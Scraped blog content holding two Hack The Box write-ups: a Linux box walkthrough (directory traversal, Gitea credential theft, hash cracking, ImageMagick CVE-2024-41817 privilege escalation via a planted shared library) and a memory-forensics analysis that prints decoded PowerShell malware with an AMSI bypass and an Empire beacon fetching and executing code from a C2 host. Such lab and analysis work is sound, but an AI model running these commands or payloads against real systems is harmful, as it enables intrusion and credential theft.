system over SSH. Enumeration of the file system reveals that a script in the /opt/scripts directory is being executed every minute. This script is running the magick binary in order to gather information about specific images. This version of magick is found to be vulnerable to an arbitrary code execution exploit assigned CVE-2024-41817. Successful exploitation of this vulnerability results in elevation of privileges to the root user. User Reconnaissance We are going to start by running our nmap scan:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ports=$(nmap -p- --min-rate=1000 -T4 $VICTIM | grep \u0026#39;^[0-9]\u0026#39; | cut -d \u0026#39;/\u0026#39; -f 1 | tr \u0026#39;\\n\u0026#39; \u0026#39;,\u0026#39; | sed s/,$//) └─$ nmap -p$ports -sC -sV $VICTIM Starting Nmap 7.95 ( https://nmap.org ) Nmap scan report for 10.129.231.221 Host is up (0.098s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA) |_ 256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519) 80/tcp open http Apache httpd 2.4.52 |_http-server-header: Apache/2.4.52 (Ubuntu) |_http-title: Did not follow redirect to http://titanic.htb/ Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel Let\u0026rsquo;s add titanic.htb to our /etc/hosts\nWeb Enum \u0026amp; dev While exploring the main website we launched immediately a subdomain fuzzing and we got a hit pretty quickly. We will add the subdomain to our /etc/hosts file but lets first explore the main site completely.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 └└─$ ffuf -u \u0026#34;http://$VICTIM\u0026#34; -H \u0026#34;Host: FUZZ.titanic.htb\u0026#34; -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -ac /\u0026#39;___\\ /\u0026#39;___\\ /\u0026#39;___\\ /\\ \\__/ /\\ \\__/ __ __ /\\ \\__/ \\ \\ ,__\\\\ \\ ,__\\/\\ \\/\\ \\ \\ \\ ,__\\ \\ \\ \\_/ \\ \\ \\_/\\ \\ \\_\\ \\ \\ \\ \\_/ \\ \\_\\ \\ \\_\\ \\ \\____/ \\ \\_\\ \\/_/ \\/_/ \\/___/ \\/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : http://10.129.231.221 :: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt :: Header : Host: FUZZ.titanic.htb :: Follow redirects : false :: Calibration : true :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 ________________________________________________ dev [Status: 200, Size: 13982, Words: 1107, Lines: 276, Duration: 86ms] :: Progress: [4989/4989] :: Job [1/1] :: 377 req/sec :: Duration: [0:00:14] :: Errors: 0 :: So we see two interesting endpoints:\n/book with POST /download?ticket=[filename].json GET The first makes a request and then the backend generates a json which we fetch with the second endpoint. Furthermore we observer the web server and python version of the server: Werkzeug/3.0.3 Python/3.10.12.\nThe web app behavior hints us to try check the ticket parameter for any misconfiguration. With a simple test we uncover Directory traversal / Arbitrary file read.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 └─$ curl \u0026#39;http://titanic.htb/download?ticket=../../../../../etc/passwd\u0026#39; \\ -H \u0026#39;User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0\u0026#39; \\ -H \u0026#39;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\u0026#39; \\ -H \u0026#39;Accept-Language: en-US,en;q=0.5\u0026#39; \\ -H \u0026#39;Accept-Encoding: gzip, deflate\u0026#39; \\ -H \u0026#39;Referer: http://titanic.htb/\u0026#39; \\ -H \u0026#39;Connection: keep-alive\u0026#39; \\ -H \u0026#39;Upgrade-Insecure-Requests: 1\u0026#39; \\ -H \u0026#39;Sec-GPC: 1\u0026#39; \\ -H \u0026#39;Priority: u=0, i\u0026#39; root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:104::/nonexistent:/usr/sbin/nologin systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin pollinate:x:105:1::/var/cache/pollinate:/bin/false sshd:x:106:65534::/run/sshd:/usr/sbin/nologin syslog:x:107:113::/home/syslog:/usr/sbin/nologin uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin developer:x:1000:1000:developer:/home/developer:/bin/bash lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin _laurel:x:998:998::/var/log/laurel:/bin/false We cannot find further information and we pivot our focus to the subdomain.\nGitea We land in a Gitea server. Let\u0026rsquo;s see what sources we can uncover here. Info Gitea is a forge software package for hosting software development version control using Git as well as other collaborative features like bug tracking, code review, continuous integration, kanban boards, tickets, and wikis. It supports self-hosting but also provides a free public first-party instance. Exploring the repos we find one holding a mysql docker file. We also see the web app in python we managed to find the dir traversal vulnerability. If we look at the python code holding the /download endpoint we can clearly see where the problem lies.\n1 2 3 4 5 6 7 8 9 10 11 12 @app.route(\u0026#39;/download\u0026#39;, methods=[\u0026#39;GET\u0026#39;]) def download_ticket(): ticket = request.args.get(\u0026#39;ticket\u0026#39;) if not ticket: return jsonify({\u0026#34;error\u0026#34;: \u0026#34;Ticket parameter is required\u0026#34;}), 400 json_filepath = os.path.join(TICKETS_DIR, ticket) if os.path.exists(json_filepath): return send_file(json_filepath, as_attachment=True, download_name=ticket) else: return jsonify({\u0026#34;error\u0026#34;: \u0026#34;Ticket not found\u0026#34;}), 404 Important Directory traversal vulnerability occurs because of how os.path.exists is used here. Check its behavior.\n1 2 3 4 5 6 7 8 \u0026gt;\u0026gt;\u0026gt; import os \u0026gt;\u0026gt;\u0026gt; os.path.join(\u0026#34;lol\u0026#34;,\u0026#34;/etc\u0026#34;,\u0026#34;passwd\u0026#34;) \u0026#39;/etc/passwd\u0026#39; \u0026gt;\u0026gt;\u0026gt; os.path.join(\u0026#34;lol\u0026#34;,\u0026#34;/etc/passwd\u0026#34;) \u0026#39;/etc/passwd\u0026#39; \u0026gt;\u0026gt;\u0026gt; os.path.join(\u0026#34;lol\u0026#34;,\u0026#34;etc/passwd\u0026#34;) \u0026#39;lol/etc/passwd\u0026#39; \u0026gt;\u0026gt;\u0026gt; When we place is slash \u0026lsquo;/\u0026rsquo;, everything that comes before it is discarded!\nAt this point knowing the user, developer we can just grab the flag. But let\u0026rsquo;s try to get access first.\nLooking at the repos we observe the data folder for gitea.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 version: \u0026#39;3\u0026#39; services: gitea: image: gitea/gitea container_name: gitea ports: - \u0026#34;127.0.0.1:3000:3000\u0026#34; - \u0026#34;127.0.0.1:2222:22\u0026#34; # Optional for SSH access volumes: - /home/developer/gitea/data:/data # Replace with your path environment: - USER_UID=1000 - USER_GID=1000 restart: always We already know that /home/developer/gitea/data is the main path for the gitea data. Checking out the configuration of gitea we see how the data structure looks(main file is app.ini) like and where the main config file may be saved.\nSpecifically for docker installation the docs say state: Customization files described here should be placed in /data/gitea directory. If using host volumes, it\u0026rsquo;s quite easy to access these files; for named volumes, this is done through another container or by direct access at /var/lib/docker/volumes/gitea_gitea/_data. The configuration file will be saved at /data/gitea/conf/app.ini after the installation.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 anas@kalig5:~$ curl \u0026#39;http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/conf/app.ini\u0026#39; APP_NAME = Gitea: Git with a cup of tea RUN_MODE = prod RUN_USER = git WORK_PATH = /data/gitea [repository] ROOT = /data/git/repositories [repository.local] LOCAL_COPY_PATH = /data/gitea/tmp/local-repo [repository.upload] TEMP_PATH = /data/gitea/uploads [server] APP_DATA_PATH = /data/gitea DOMAIN = gitea.titanic.htb SSH_DOMAIN = gitea.titanic.htb HTTP_PORT = 3000 ROOT_URL = http://gitea.titanic.htb/ DISABLE_SSH = false SSH_PORT = 22 SSH_LISTEN_PORT = 22 LFS_START_SERVER = true LFS_JWT_SECRET = OqnUg-uJVK-l7rMN1oaR6oTF348gyr0QtkJt-JpjSO4 OFFLINE_MODE = true [database] PATH = /data/gitea/gitea.db DB_TYPE = sqlite3 HOST = localhost:3306 NAME = gitea USER = root PASSWD = LOG_SQL = false SCHEMA = SSL_MODE = disable [indexer] ISSUE_INDEXER_PATH = /data/gitea/indexers/issues.bleve [session] PROVIDER_CONFIG = /data/gitea/sessions PROVIDER = file [picture] AVATAR_UPLOAD_PATH = /data/gitea/avatars REPOSITORY_AVATAR_UPLOAD_PATH = /data/gitea/repo-avatars [attachment] PATH = /data/gitea/attachments [log] MODE = console LEVEL = info ROOT_PATH = /data/gitea/log [security] INSTALL_LOCK = true SECRET_KEY = REVERSE_PROXY_LIMIT = 1 REVERSE_PROXY_TRUSTED_PROXIES = * INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3MjI1OTUzMzR9.X4rYDGhkWTZKFfnjgES5r2rFRpu_GXTdQ65456XC0X8 PASSWORD_HASH_ALGO = pbkdf2 [service] DISABLE_REGISTRATION = false REQUIRE_SIGNIN_VIEW = false REGISTER_EMAIL_CONFIRM = false ENABLE_NOTIFY_MAIL = false ALLOW_ONLY_EXTERNAL_REGISTRATION = false ENABLE_CAPTCHA = false DEFAULT_KEEP_EMAIL_PRIVATE = false DEFAULT_ALLOW_CREATE_ORGANIZATION = true DEFAULT_ENABLE_TIMETRACKING = true NO_REPLY_ADDRESS = noreply.localhost [lfs] PATH = /data/git/lfs [mailer] ENABLED = false [openid] ENABLE_OPENID_SIGNIN = true ENABLE_OPENID_SIGNUP = true [cron.update_checker] ENABLED = false [repository.pull-request] DEFAULT_MERGE_STYLE = merge [repository.signing] DEFAULT_TRUST_MODEL = committer [oauth2] JWT_SECRET = FIAOKLQX4SBzvZ9eZnHYLTCiVGoBtkE4y5B7vMjzz3g What stands out is the sqlite3 database /data/gitea/gitea.db. We will download this the same way.\n1 curl \u0026#39;http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db\u0026#39; -o gitea.db Reading the database gives us two users.\n1 2 3 4 5 6 sqlite\u0026gt; select * from user; id|lower_name|name|full_name|email|keep_email_private|email_notifications_preference|passwd|passwd_hash_algo|must_change_password|login_type|login_source|login_name|type|location|website|rands|salt|language|description|created_unix|updated_unix|last_login_unix|last_repo_visibility|max_repo_creation|is_active|is_admin|is_restricted|allow_git_hook|allow_import_local|allow_create_organization|prohibit_login|avatar|avatar_email|use_custom_avatar|num_followers|num_following|num_stars|num_repos|num_teams|num_members|visibility|repo_admin_change_team_access|diff_view_style|theme|keep_activity_private 1|administrator|administrator||root@titanic.htb|0|enabled|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136|pbkdf2$50000$50|0|0|0||0|||70a5bd0c1a5d23caa49030172cdcabdc|2d149e5fbd1b20cf31db3e3c6a28fc9b|en-US||1722595379|1722597477|1722597477|0|-1|1|1|0|0|0|1|0|2e1e70639ac6b0eecbdab4a3d19e0f44|root@titanic.htb|0|0|0|0|0|0|0|0|0||gitea-auto|0 2|developer|developer||developer@titanic.htb|0|enabled|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|pbkdf2$50000$50|0|0|0||0|||0ce6f07fc9b557bc070fa7bef76a0d15|8bf3e3452b78544f8bee9400d6936d34|en-US||1722595646|1722603397|1722603397|0|-1|1|0|0|0|0|1|0|e2d95b7e207e432f62f3508be406c11b|developer@titanic.htb|0|0|0|0|2|0|0|0|0||gitea-auto|0 Let\u0026rsquo;s give this to hashcat and try to crack the hashes. What may not be trivial here is the format for PBKDF2 as it can be tricky and hashcat\u0026rsquo;s examples list multiple times. We tried a lot but the correct one is the main one PBKDF2-HMAC-SHA256 which follows the format: sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=.\nFrom the database above we need to convert the password hash from hex to base64 (cyberchef can help here) and also to use the hash which is the one before the language.\nDeveloper\u0026#39;s password 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 hashcat hash /usr/share/seclists/Passwords/Leaked-Databases/rockyou-60.txt hashcat (v7.1.2) starting in autodetect mode ... sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=:25282528 Session..........: hashcat Status...........: Cracked Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256) Hash.Target......: sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqc...lM+1Y= Kernel.Feature...: Pure Kernel (password length 0-256 bytes) Guess.Base.......: File (/usr/share/seclists/Passwords/Leaked-Databases/rockyou-60.txt) Guess.Queue......: 1/1 (100.00%) Speed.#01........: 16249 H/s (6.46ms) @ Accel:4 Loops:250 Thr:512 Vec:1 Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) Progress.........: 21040/21040 (100.00%) Rejected.........: 0/21040 (0.00%) Restore.Point....: 0/21040 (0.00%) Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:49750-49999 Candidate.Engine.: Device Generator Candidates.#01...: 123456 -\u0026gt; kkkkkkk Hardware.Mon.#01.: Temp: 60c Util:100% Core:1935MHz Mem:6000MHz Bus:8 Now we have ssh access as developer and we can grab the flag.\nRoot Magick After enumerating a bit the system for known gems we come across /opt/scripts/identify_images.sh. The script is only three lines:\n1 2 3 4 5 6 7 developer@titanic:~$ cat /opt/scripts/identify_images.sh cd /opt/app/static/assets/images truncate -s 0 metadata.log find /opt/app/static/assets/images/ -type f -name \u0026#34;*.jpg\u0026#34; | xargs /usr/bin/magick identify \u0026gt;\u0026gt; metadata.log developer@titanic:~$ ls -al /opt/app/static/assets/images/metadata.log -rw-r----- 1 root developer 442 Mar 3 21:43 /opt/app/static/assets/images/metadata.log It is owned by root and seems to be running every minute or something, although we couldn\u0026rsquo;t find the cronjob.\nWhat got us our interest is the magick command.\n1 2 3 4 5 6 7 developer@titanic:~$ magick --version Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org Copyright: (C) 1999 ImageMagick Studio LLC License: https://imagemagick.org/script/license.php Features: Cipher DPC HDRI OpenMP(4.5) Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib Compiler: gcc (9.4) And looking it up online we uncover CVE-2024-41817, an Arbitary Code Excution for the version we have installed! We download a public PoC and try to exploit this.\n1 2 3 4 └─$ python exploit.py -H titanic.htb -p 22 -u developer -P 25282528 -d [!] Mode detection only [+] ImageMagick version: 7.1.1-35 [+] ImageMagick version is vulnerable We confirm that our version is vulnerable. Let\u0026rsquo;s use the exploit.\nTip The root of the issue lies in how certain ImageMagick builds are compiled: the current working directory is included in the search path for configuration files and shared libraries.\nThe proof of concept works by placing a malicious shared library named libxcb.so.1 in that directory. This library is normally used for low-level interaction with the X11 windowing system. Because ImageMagick loads this library and checks the current directory as part of its search path, it ends up loading the attacker-controlled version instead. More about the vulnerability and PoC can be found here\nWe could have build the shared library ourselves on the victim host but we will do it again with the python script we got. We will copy bash somewhere we can access it and set the SUID/GUID bits.\n1 2 3 4 5 6 7 8 9 10 11 12 └─$ python exploit.py -H titanic.htb -p 22 -u developer -P 25282528 -A -c \u0026#39;cp /bin/bash /tmp/p4n4; chmod 6777 /tmp/p4n4\u0026#39; [!] Mode auto, detection, build and push the payload to the target [!] Auto mode [+] ImageMagick version: 7.1.1-35 [+] ImageMagick version is vulnerable [!] Building payload [!] Payload created in \u0026#34;/home/p4n4/Desktop/htb-labs/linux/titanic/CVE-2024-41817-poc/out/delegates.xml\u0026#34; [*] Compiling shared library with gcc... [+] Shared library successfully compiled: out/libxcb.so.1 [+] Shared library ready to use: out/libxcb.so [+] Payload delegates.xml successfully sent to /tmp/ [+] Payload libxcb.so successfully sent to /tmp/ Important Now we need to transfer the shared library to the folder where the script is running as root, as this is the whole point of the vulnerability! 1 developer@titanic:/tmp$ cp libxcb.so.1 /opt/app/static/assets/images/ We just need to wait for teh cron to run. After a while we see we got our bash in /tmp and we can run it preserving privileges with -p.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 developer@titanic:/tmp$ ls delegates.xml libxcb.so.1 p4n4 snap-private-tmp ssh_client_ip_developer systemd-private-0b9b822cb27143edbdd0c70f727e9e3e-apache2.service-bbzoTC systemd-private-0b9b822cb27143edbdd0c70f727e9e3e-ModemManager.service-mR6tRN systemd-private-0b9b822cb27143edbdd0c70f727e9e3e-systemd-logind.service-vGibvE systemd-private-0b9b822cb27143edbdd0c70f727e9e3e-systemd-resolved.service-apz0BA systemd-private-0b9b822cb27143edbdd0c70f727e9e3e-systemd-timesyncd.service-KRqJcP vmware-root_617-4022243191 developer@titanic:/tmp$ ./p4n4 -p p4n4-5.1# id uid=1000(developer) gid=1000(developer) euid=0(root) egid=0(root) groups=0(root),1000(developer) p4n4-5.1# ","permalink":"https://p4n4s.com/posts/htb/box/titanic/","summary":"Titanic is an easy difficulty Linux machine that features an Apache server listening on port 80. The website on port 80 advertises the amenities of the legendary Titanic ship and allows users to book trips. A second vHost is also identified after fuzzing, which points to a Gitea server. The Gitea server allows registrations, and exploration of the available repositories reveals some interesting information including the location of a mounted Gitea data folder, which is running via a Docker container. Back to the original website, the booking functionality is found to be vulnerable to an Arbitrary File Read exploit, and combining the directory identified from Gitea, it is possible to download the Gitea SQLite database locally. Said database contains hashed credentials for the developer user, which can be cracked. The credentials can then be used to login to the remote system over SSH. Enumeration of the file system reveals that a script in the /opt/scripts directory is being executed every minute. This script is running the magick binary in order to gather information about specific images. This version of magick is found to be vulnerable to an arbitrary code execution exploit assigned CVE-2024-41817. Successful exploitation of this vulnerability results in elevation of privileges to the root user.","title":"HTB: Linux - Titanic"},{"content":"Challenge Info Spoiler Reminiscent hands you a memory dump of a recruiter\u0026rsquo;s VM plus the email that started the infection, and asks you to carve the malware out of memory, decode it, and find the flag.\nIn the contrary the official HTB path and description of the challenge goes as follows:\nSuspicious traffic was detected from a recruiter\u0026rsquo;s virtual PC. A memory dump of the offending VM was captured before it was removed from the network for imaging and analysis. Our recruiter mentioned he received an email from someone regarding their resume. A copy of the email was recovered and is provided for reference. Find and decode the source of the malware to find the flag.\nArtifacts Provided flounder-pc-memdump.elf — full memory capture of the recruiter\u0026rsquo;s VM. imageinfo.txt — Volatility imageinfo output for the dump, pointing straight at Win7SP1x64. Resume.eml — the phishing email itself. Analysis The email The .eml is a plain resume pitch, nothing attached directly — just a link:\nFrom: Brian Loodworm \u0026lt;bloodworm@madlab.lcl\u0026gt; To: flounder@madlab.lcl Subject: Resume Hi Frank, someone told me you would be great to review my resume.. Could you have a look? resume.zip [1] [1] http://10.10.99.55:8080/resume.zip No attachment to pull apart on disk — the payload was fetched live and has to be carved back out of memory instead.\nRecon — pstree Since imageinfo.txt already hands us the profile, no need to burn time re-running imageinfo:\nvolatility -f flounder-pc-memdump.elf --profile=Win7SP1x64 pstree 0xfffffa80020bb630:explorer.exe 2044 2012 36 926 2017-10-04 18:04:41 UTC+0000 . 0xfffffa80022622e0:VBoxTray.exe 1476 2044 13 146 2017-10-04 18:04:42 UTC+0000 . 0xfffffa80007e0b30:thunderbird.ex 2812 2044 50 534 2017-10-04 18:06:24 UTC+0000 . 0xfffffa800224e060:powershell.exe 496 2044 12 300 2017-10-04 18:06:58 UTC+0000 .. 0xfffffa8000839060:powershell.exe 2752 496 20 396 2017-10-04 18:07:00 UTC+0000 thunderbird.exe is the mail client that opened the link, and it\u0026rsquo;s the direct parent of a powershell.exe, which itself spawned a second powershell.exe. Two stages of PowerShell hanging off a mail client is exactly the shape of a malicious-attachment-turned-loader.\nnetscan backs this up — the box talked to 10.10.99.55 on both :80 and :8080 from a powershell.exe-owned socket, matching the link in the email:\n0x1fc04490 TCPv4 10.10.100.43:49246 10.10.99.55:80 CLOSED 2752 powershell.exe 0x1fc3d320 TCPv4 10.10.100.43:49247 10.10.99.55:80 CLOSED 2752 powershell.exe Carving the \u0026ldquo;resume\u0026rdquo; We know a file named resume-something has to be sitting on disk, so filescan for it:\nvolatility -f flounder-pc-memdump.elf --profile=Win7SP1x64 filescan | grep resume 0x000000001e1f6200 1 0 R--r-- \\Device\\HarddiskVolume2\\Users\\user\\Desktop\\resume.pdf.lnk 0x000000001e8feb70 1 1 R--rw- \\Device\\HarddiskVolume2\\Users\\user\\Desktop\\resume.pdf.lnk Not a PDF — a .pdf.lnk. A Windows shortcut wearing a document\u0026rsquo;s extension, banking on Explorer\u0026rsquo;s default \u0026ldquo;hide known file extensions\u0026rdquo; to make it look like resume.pdf. .lnk files carry their own Target/argument fields, so it doesn\u0026rsquo;t need a dropped EXE — the shortcut itself is the payload.\ntimeliner corroborates the whole delivery-to-execution chain via USER ASSIST:\n2017-10-03 02:09:48 UTC C:\\Users\\user\\AppData\\Local\\Temp\\Temp1_resume[1].zip\\resume.pdf.lnk (extracted from the downloaded zip) 2017-10-03 02:25:04 UTC C:\\share\\resume.pdf.lnk 2017-10-04 17:58:03 UTC C:\\Users\\user\\Desktop\\resume\\resume.pdf.lnk 2017-10-04 18:06:58 UTC C:\\Users\\user\\Desktop\\resume.pdf.lnk (Count: 3 — the execution that shows up in pstree) Dumped both offsets with dumpfiles:\nvolatility -f flounder-pc-memdump.elf --profile=Win7SP1x64 dumpfiles -Q 0x000000001e1f6200 -D . Two files drop out — file.496.0xfffffa80017dcc60.resume.pdf.lnk.vacb and file.496.0xfffffa80022ac740.resume.pdf.lnk.dat. Same underlying data, the .vacb one just has extra null-byte padding at the end.\nStage 1 — the LNK\u0026rsquo;s embedded command .lnk files store their target/argument strings UTF-16LE, so strings -el (not plain strings) is what actually pulls anything readable out:\nstrings -el file.496.0xfffffa80022ac740.resume.pdf.lnk.dat ..\\..\\..\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -win hidden -Ep ByPass $r = [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String(\u0026#39;JHN0UCwkc2lQ...\u0026#39;)); iex $r; Base64-decoding that blob gives a small self-referencing loader:\n1 2 3 4 5 6 7 8 9 10 11 12 13 $stP,$siP=3230,9676 $f=\u0026#39;resume.pdf.lnk\u0026#39; if(-not(Test-Path $f)){ $x=Get-ChildItem -Path $env:temp -Filter $f -Recurse [IO.Directory]::SetCurrentDirectory($x.DirectoryName) } $lnk=New-Object IO.FileStream $f,\u0026#39;Open\u0026#39;,\u0026#39;Read\u0026#39;,\u0026#39;ReadWrite\u0026#39; $b64=New-Object byte[]($siP) $lnk.Seek($stP,[IO.SeekOrigin]::Begin) $lnk.Read($b64,0,$siP) $b64=[Convert]::FromBase64CharArray($b64,0,$b64.Length) $scB=[Text.Encoding]::Unicode.GetString($b64) iex $scB The .lnk file is its own dropper: no second file to fetch, no on-disk staging beyond the shortcut. It reopens itself, seeks to byte offset 3230, reads 9676 bytes, and treats that region of its own file as a UTF-16-encoded base64 blob to iex. That\u0026rsquo;s the second powershell.exe we saw in pstree — same file, same offsets, self-hosted second stage.\nStage 2 — Empire-style beacon, RC4 keystream Same strings -el dump of the .dat file has that second blob sitting further down — a much larger base64 chunk. Decoded and read through [Text.Encoding]::Unicode.GetString(...) to reverse the UTF-16LE:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 $GroUPPOLiCYSEttINGs = [rEF].ASseMBLY.GEtTypE(\u0026#39;System.Management.Automation.Utils\u0026#39;).\u0026#34;GEtFIE`ld\u0026#34;( \u0026#39;cachedGroupPolicySettings\u0026#39;,\u0026#39;N\u0026#39;+\u0026#39;onPublic,Static\u0026#39;).GETValUe($nulL); $GRouPPOlICySeTTiNgS[\u0026#39;ScriptB\u0026#39;+\u0026#39;lockLogging\u0026#39;][\u0026#39;EnableScriptB\u0026#39;+\u0026#39;lockLogging\u0026#39;] = 0; $GRouPPOLICYSEtTingS[\u0026#39;ScriptB\u0026#39;+\u0026#39;lockLogging\u0026#39;][\u0026#39;EnableScriptBlockInvocationLogging\u0026#39;] = 0; [Ref].AsSemBly.GeTTyPE(\u0026#39;System.Management.Automation.AmsiUtils\u0026#39;)|?{$_}|%{ $_.GEtFieLd(\u0026#39;amsiInitFailed\u0026#39;,\u0026#39;NonPublic,Static\u0026#39;).SETVaLuE($NulL,$True) }; $WC=NEW-OBjEcT SysTEM.NEt.WeBClIEnt; $K=[SYStEM.Text.ENCODIng]::ASCII.GEtBytEs(\u0026#39;E1gMGdfT@eoN\u0026gt;x9{]2F7+bsOn4/SiQrw\u0026#39;); $R={ $D,$K=$ArgS;$S=0..255; 0..255|%{ $J=($J+$S[$_]+$K[$_%$K.CounT])%256; $S[$_],$S[$J]=$S[$J],$S[$_] }; $D|%{ $I=($I+1)%256; $H=($H+$S[$I])%256; $S[$I],$S[$H]=$S[$H],$S[$I]; $_-bxoR$S[($S[$I]+$S[$H])%256] }; }; $wc.HEAdErs.ADD(\u0026#34;Cookie\u0026#34;,\u0026#34;session=MCahuQVfz0yM6VBe8fzV9t9jomo=\u0026#34;); $ser=\u0026#39;http://10.10.99.55:80\u0026#39;; $t=\u0026#39;/login/process.php\u0026#39;; $flag=\u0026#39;HTB{REDACTED}\u0026#39;; $DatA=$WC.DoWNLoaDDATA($SeR+$t); $iv=$daTA[0..3]; $DAta=$DaTa[4..$DAta.LenGTH]; -JOIN[CHAr[]](\u0026amp; $R $datA ($IV+$K))|IEX Textbook Empire staging behavior: it flips off ScriptBlockLogging and force-fails the AMSI init field via reflection before doing anything else, so none of this shows up in the usual telemetry. $R is a hand-rolled RC4 (KSA + PRGA, byte-for-byte) keyed with a static ASCII string, used to decrypt whatever /login/process.php returns before IEX-ing it — the first 4 bytes of the response are treated as extra IV material appended to the key.\nNone of that second network round-trip matters for the flag, though — it\u0026rsquo;s sitting in plaintext right there in the decoded script: Spoiler $flag='HTB{$_j0G_y0uR_M3m0rY_$}'. Full chain Resume.eml └─ link → resume.zip (fetched, never touches disk as a zip) └─ resume.pdf.lnk (Desktop, double-extension disguise) └─ PowerShell #1 (base64, UTF-16) — self-seeks its own .lnk file at offset 3230/9676 └─ PowerShell #2 (base64, UTF-16) — AMSI bypass, ScriptBlockLogging off, RC4-keyed Empire beacon └─ FLAG (plaintext in the decoded script, before the C2 round-trip even matters) Tip The interesting bit here isn\u0026rsquo;t the crypto — it\u0026rsquo;s that the .lnk never drops a second file. Stage 1 reopens itself and reads its own bytes at a hardcoded offset for stage 2. Any tooling that only inspects a .lnk\u0026rsquo;s Target/Arguments fields and ignores trailing bytes appended past the structure it expects will walk straight past the actual payload. ","permalink":"https://p4n4s.com/posts/htb/challenge/reminiscent/","summary":"Reminiscent carves a malicious resume.pdf.lnk out of a Windows 7 memory dump with Volatility, then peels back two offset-read, base64-chained PowerShell stagers — the second an RC4-keyed Empire-style beacon — down to the flag.","title":"HTB: Challenge - Reminiscent"},{"content":"Full badge history on Credly.\n","permalink":"https://p4n4s.com/certs/","summary":"\u003cp\u003eFull badge history on \u003ca 